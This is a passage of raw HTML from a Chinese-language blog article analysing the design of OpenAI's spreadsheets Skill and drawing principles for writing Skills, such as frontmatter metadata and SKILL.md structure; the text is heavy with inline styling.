rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 将</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">公式要求 (Formula requirements)、引用规范 (Citation) 和格式化要求 (Formatting)</span></strong><span leaf=""> 等核心规则从操作流程中抽离，并各自独立成章。特别是公式部分，又细分为五个子模块，如“禁用动态数组”、“错误防护”等。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：场景化策略</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 针对</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“从零创建”和“修改已有”</span></strong><span leaf="">两种不同场景，给出了差异化的格式化策略。更进一步，为金融模型、投行等特定行业追加了专用的色彩和布局规范。</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">核心设计：大规模脚本化</span></strong></p></li><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">要点解析：</span></strong><span leaf=""> 提供了海量的 Python 脚本 (</span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">examples/</span></code><span leaf="">)，覆盖了从创建、读写到设置样式、生成图表等几乎所有常见操作。这些脚本既是工具，也是可以直接学习的“活文档”。</span></p></li></ul></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">设计洞察</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">spreadsheets</span></code><span leaf=""> Skill 的设计哲学是</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“规则的显式化”</span></strong><span leaf="">和</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“知识的结构化”</span></strong><span leaf="">。 它没有将最佳实践隐藏在繁琐的步骤描述中，而是将它们提炼为一条条明确的、可独立查阅的规则。无论是“公式必须无魔法数字”，还是“负数要用红色括号”，都成为了 AI 必须遵守的“法律”。 更妙的是，它展示了一种</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">“基础通用规则 + 行业特化规则”</span></strong><span leaf="">的层次化设计思想。这种结构具有极强的扩展性，未来可以轻松地叠加更多行业或场景的特定规范，而不会让整个 Skill 变得混乱。海量的脚本示例，更是将这种知识体系彻底“固化”了下来。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">如何写好一个 Skill？从 OAI 的实践中我们可以学到什么</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过对上述三个 Skill 的深度剖析，我们不难发现，编写一个优秀的 Skill 就像是为 AI 设计一套精良的“作战装备”。它不仅要威力强大，还要易于理解、稳定可靠、且易于扩展。 结合 OpenAI 的实践，我们可以总结出以下几条核心原则：</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">1. 元信息 YAML Frontmatter：清晰定义的身份卡</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">尽管在这次我们拿到的 Skill 中，Frontmatter 部分是缺失的，但根据 </span><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">skill-creator</span></code><span leaf=""> 的规范，一个完整的 Skill 应当包含清晰的元信息。这部分就像是 Skill 的“身份证”，告诉 AI 它的核心能力、使用场景和约束条件。 一个好的 Frontmatter 应该做到：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">目标明确</span></strong><span leaf="">：用一句话概括这个 Skill 是用来做什么的。例如：“一个用于创建、编辑和分析专业级财务报告电子表格的 Skill。”</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">边界清晰</span></strong><span leaf="">：明确指出适用和不适用的场景。例如，</span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">spreadsheets</span></code><span leaf=""> Skill 就明确指出不支持 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">FILTER</span></code><span leaf="">, </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">XLOOKUP</span></code><span leaf=""> 等动态数组函数。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">输入输出可预期</span></strong><span leaf="">：定义清楚它需要什么作为输入（如文件路径、数据参数），以及它会产出什么作为结果（如一个新的文件、一张图表）。</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">实践建议</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">把 Frontmatter 当作写 API 文档来对待。你的用户是另一个 AI，它需要通过这份“文档”快速理解你的“API”是做什么的，以及如何正确调用它。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">2. 方法论 SKILL.md：从道到术的优雅降解</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(150, 84, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">SKILL.md</span></code><span leaf=""> 是 Skill 的灵魂，它承载了完成任务的核心方法论。OAI 的实践向我们展示了一种非常优雅的结构设计模式：</span></p><h3 